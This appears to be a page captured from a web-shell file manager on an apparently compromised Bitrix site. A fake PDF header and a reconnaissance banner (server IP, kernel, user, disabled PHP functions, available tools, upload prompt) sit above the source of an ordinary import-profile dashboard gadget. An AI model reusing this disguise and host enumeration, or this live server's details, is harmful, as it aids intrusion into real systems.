%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.102.138 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/esol.importexportexcel/install/gadgets/esol.importexportexcel/last_import/ |
Upload File : |
<? use Bitrix\Main\Localization\Loc; use Bitrix\Main\Loader; Loc::loadMessages(__FILE__); if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); $moduleFilePrefix = 'esol_import_excel'; $moduleId = 'esol.importexportexcel'; if(!Loader::includeModule($moduleId)) return; $MODULE_RIGHT = $APPLICATION->GetGroupRight($moduleId); if($MODULE_RIGHT < "W") return; $arGadgetParams["PROFILES_SHOW_INACTIVE"] = ($arGadgetParams["PROFILES_SHOW_INACTIVE"]=='Y' ? 'Y' : 'N'); $arGadgetParams["PROFILES_COUNT"] = (int)$arGadgetParams["PROFILES_COUNT"]; if ($arGadgetParams["PROFILES_COUNT"] <= 0) $arGadgetParams["PROFILES_COUNT"] = 10; $oProfile = new \CKDAImportProfile(); $arProfiles = $oProfile->GetLastImportProfiles($arGadgetParams); if(!empty($arProfiles)) { echo '<table border="1">'. '<tr>'. '<th>'.Loc::getMessage('GD_KDA_IE_PROFILE_ID').'</th>'. '<th>'.Loc::getMessage('GD_KDA_IE_PROFILE_NAME').'</th>'. '<th>'.Loc::getMessage('GD_KDA_IE_PROFILE_DATE_START').'</th>'. '<th>'.Loc::getMessage('GD_KDA_IE_PROFILE_DATE_FINISH').'</th>'. '<th>'.Loc::getMessage('GD_KDA_IE_PROFILE_STATUS').'</th>'. '<th></th>'. '</tr>'; foreach($arProfiles as $arProfile) { $arStatus = $oProfile->GetStatus($arProfile, true); echo '<tr'.($arStatus['STATUS']=='ERROR' ? ' style="background: #ffdddd;"' : '').'>'. '<td>'.$arProfile['ID'].'</td>'. '<td><a href="/bitrix/admin/'.$moduleFilePrefix.'.php?lang='.LANGUAGE_ID.'&PROFILE_ID='.$arProfile['ID'].'" target="_blank">'.$arProfile['NAME'].'</a></td>'. '<td>'.(is_callable(array($arProfile['DATE_START'], 'toString')) ? $arProfile['DATE_START']->toString() : '').'</td>'. '<td>'.(is_callable(array($arProfile['DATE_FINISH'], 'toString')) ? $arProfile['DATE_FINISH']->toString() : '').'</td>'. '<td>'.$arStatus['MESSAGE'].'</td>'. '<td>'. '<form method="post" action="/bitrix/admin/'.$moduleFilePrefix.'.php?lang='.LANGUAGE_ID.'" target="_blank">'. '<input type="hidden" name="PROFILE_ID" value="'.$arProfile['ID'].'">'. '<input type="hidden" name="STEP" value="3">'. '<input type="hidden" name="PROCESS_CONTINUE" value="Y">'. '<input type="hidden" name="EMAIL_DATA_FILE" value="'.htmlspecialcharsbx(base64_encode($arProfile['SETTINGS_DEFAULT']['EMAIL_DATA_FILE'])).'">'. '<input type="hidden" name="EXT_DATA_FILE" value="'.htmlspecialcharsbx($arProfile['SETTINGS_DEFAULT']['EXT_DATA_FILE']).'">'. '<input type="hidden" name="LAST_MODIFIED_FILE" value="'.htmlspecialcharsbx($arProfile['SETTINGS_DEFAULT']['LAST_MODIFIED_FILE']).'">'. '<input type="hidden" name="OLD_DATA_FILE" value="'.htmlspecialcharsbx($arProfile['SETTINGS_DEFAULT']['DATA_FILE']).'">'. '<input type="hidden" name="OLD_FILE_SIZE" value="'.htmlspecialcharsbx($arProfile['SETTINGS_DEFAULT']['OLD_FILE_SIZE']).'">'. '<input type="hidden" name="DATA_FILE" value="'.htmlspecialcharsbx($arProfile['SETTINGS_DEFAULT']['DATA_FILE']).'">'. (preg_match('/\d%/', $arStatus['MESSAGE']) ? '' : '<input type="hidden" name="FORCE_UPDATE_FILE" value="Y">'). '<input type="hidden" name="sessid" value="'.bitrix_sessid().'">'. '<input type="submit" value="'.Loc::getMessage('GD_KDA_IE_RUN_IMPORT').'">'. '</form>'. '</td>'. '</tr>'; } echo '</table>'; } else { echo Loc::getMessage('GD_KDA_IE_NO_DATA'); } ?>